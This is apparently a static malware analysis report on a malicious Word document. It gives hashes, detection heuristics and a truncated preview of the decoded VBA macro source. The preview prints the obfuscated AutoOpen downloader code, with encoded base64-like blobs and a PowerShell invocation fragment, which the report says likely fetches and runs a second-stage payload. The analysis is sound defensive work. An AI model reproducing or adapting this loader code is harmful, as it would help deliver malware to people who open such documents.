Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 22e8dfc1f12b166d…

MALICIOUS

Office (OLE)

153.5 KB Created: 2018-04-13 09:45:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: 0e31a07f62c9fd7a2fc1973e882cdea2 SHA-1: 0ce4dd99dd1264522c28a277d696a9312b72499a SHA-256: 22e8dfc1f12b166d37e23ca315c643be2ff241ce2fe331dca07361662fc0111a
204 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The AutoOpen macro executes a Shell() call, indicating an attempt to run external code. The script attempts to reconstruct and execute a payload using obfuscated strings, likely downloading and running a second-stage payload from a remote source.

Heuristics 7

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 148398 bytes
SHA-256: cc8f0d4c876561615663caf32f16d4dbd4e8d09761db88c886bc05f5cf01bd57
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 46 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "MjkRKumZff"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
Select Case hrtob
Case 22881
RrkqK = 20577
TJRjC = Tan(5 - CInt(hwEpnC) / huDbM + 83954)
End Select
Application.Run pUnwqw + "KWQtudZdWrrJ" + Uiuozi, KBdZFi + OTfRvoLbjKY + inDAYu
Select Case WoJiSR
Case 46787
WVqEBN = 31994
ApTiW = Tan(5 - CInt(aCGJSG) / jvRENz + 88290)
End Select
End Sub

Attribute VB_Name = "KfROMfHjAjNS"
Sub CKFPDd(HXJwR)
Select Case maZzo
Case 30165
YqKCP = 20004
TTGcE = Tan(5 - CInt(EhkMoJ) / jimVS + 94947)
End Select
End Sub
Function OTfRvoLbjKY()
On Error Resume Next
Select Case XoiHD
Case 24407
UOuuH = 2114
actMz = Tan(5 - CInt(jZGKFW) / ZQPisJ + 67156)
End Select
jfZfvwDdD = TSqRDi("rYwA1AGEANQBkAGQANAA0AGYAOQAwAGUAZQBkArHjNXS", 2 + qMmUGE - qMmUGE, 37 + qMmUGE - qMmUGE)
Select Case ftHawo
Case 83635
BlSPG = 20083
nLfcXz = Tan(5 - CInt(YBjisE) / LBwSiv + 66007)
End Select
Select Case vCvCq
Case 71101
wUjCM = 63252
NJvPCc = Tan(5 - CInt(trHGi) / cppWMq + 94888)
End Select
tidCOawbwV = TSqRDi("LHiADkAOAA0AGQAMAAxADIAMwBmAGEAZgBhADYANABmADAAZQA0ADEAZQA4AGYAOQA0ADcANQBkADMAZQA5AGUAMAAyAGQAZABlADIAZQAwADEAMAA2ADQAMAA2ADgAZABiAGYAMABkADkAOAAyAGQAZAA0ADkANgAzADIAMABlADcANAA0AGYAZAAzAV.Dq", 3 + lwGoKF - lwGoKF, 186 + lwGoKF - lwGoKF)
Select Case MtQTPh
Case 25402
NiwvJ = 14120
wFPqi = Tan(5 - CInt(KnvMv) / IiMpVj + 87899)
End Select
Select Case qEuHr
Case 35742
oIUJs = 39656
BUIGw = Tan(5 - CInt(BKpZR) / PbMcLP + 63996)
End Select
fmuuGw = TSqRDi("MU8fINgAajiR", 6 + Piwnu - Piwnu, 3 + Piwnu - Piwnu)
Select Case TZuXfw
Case 13458
TmKLVc = 40425
YXGOWj = Tan(5 - CInt(VqMDf) / fJuLol + 54450)
End Select
Select Case CsaBk
Case 78148
qQllH = 55948
UKKLd = Tan(5 - CInt(phzThG) / aWZrST + 149)
End Select
hkkklMOVN = TSqRDi("iqLOqbCQA2ADQAMwBhADUANQA2ADcANQBmADMAYwBiAGEAMAAxADMAMQBhAGUAMAA3ADgAYeAwADcAMQA3ADkAOABkADkAMQA3AGQAZQAxADQANgA1AGQAZQA5ADUAYwAyAGIpn", 8 + kazAK - kazAK, 126 + kazAK - kazAK)
Select Case DnffCB
Case 25152
NMLUqK = 84386
AdwQV = Tan(5 - CInt(HUdzaU) / tTndzQ + 44838)
End Select
Select Case DKRPH
Case 95387
odMpjG = 8269
nnzzn = Tan(5 - CInt(jwiqGw) / ALFUM + 85222)
End Select
MWtjqCpAw = TSqRDi("@MTjADYAMgBlADIANwA1AGYAYQBmADMAMwBlADQAZQBkADIAOQBkAGQANQA1AGIANgBkAGYAOQBiADcAMQBmADMAYwBjAGUAMQBjADgANQA0AGEANQA2ADIAYwA5ADAANQBmADgAOABjAGIAZAAwADgANgAwADQAOABlAGMAMQAzADAuRH", 5 + jbhcAm - jbhcAm, 171 + jbhcAm - jbhcAm)
Select Case ABzszL
Case 63547
TiGCqa = 33100
QMVZWM = Tan(5 - CInt(YAzmnR) / UUOXJ + 73238)
End Select
Select Case oPvBJ
Case 83948
vHmwJ = 82830
lPIpi = Tan(5 - CInt(iAjlQ) / ubOzjR + 92073)
End Select
DmwrrcKk = TSqRDi("Vrj,5AGEANABmAGYAYQA1AGMAMwA5AGYANQAxADIANABmADQAZQBkADgAMgBkADQAZgA5ADAAOAAyADAAMQA2AGUAOABlAGEANgBjAGMAMQBhADcANwAyADUAMQA3ADQAYQBlADgAYeAzADgAjX", 5 + FAbIzi - FAbIzi, 141 + FAbIzi - FAbIzi)
Select Case aWWjpZ
Case 67062
wdilG = 99446
rOuRD = Tan(5 - CInt(ofJkiz) / jHFiOL + 51912)
End Select
Select Case qFZAi
Case 35927
YCckN = 36648
EiTKW = Tan(5 - CInt(GzcjPk) / apMEn + 11127)
End Select
NaLAHOcznF = TSqRDi("@ & ( ([sTrINg]$VerBOSePREfereNCe)[1,3]+'x'-JoIN'')(([RUNTiMe.iNteroPSEzwqI.qt", 2 + scAFU - scAFU, 70 + scAFU - scAFU)
Select Case pjDPk
Case 91652
aFAlbF = 86592
GqEidA = Tan(5 - CInt(dtkzvd) / qYzHuQ + 39795)
End Select
Select Case vDAooI
Case 9724
MqdJh = 46437
sawPW = Tan(5 - CInt(kCkUTY) / HrTrw + 94009)
End Select
Iuskm = TSqRDi("@FEANQA1ADgAMABjADQAZgAzAGIAZgBhAGUAYgA1AGUAZgBiAGEAZgA0ADYAZAA1AGIANAAxADUANQAxADkAMAAzADQAYgA3ADIAZeAwADEAYwAxADMAZQAxADAAZAA0ADMAZeAwAGUAYgAxADYAYgAzAGYAZgA2AGMANQAyADEAOQA0AzH90", 3 + EaaKfs - EaaKfs, 175 + EaaKfs - EaaKfs)
Select Case zFjitP
Case 93059
fbAUX = 8531
HVUow = Tan(5 - CInt(APTUj) / CUWlLk + 82400)
End Select
Select Case obaiS
Case 70465
mALtjj = 82630
ttpQmT = Tan(5 - CInt(
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.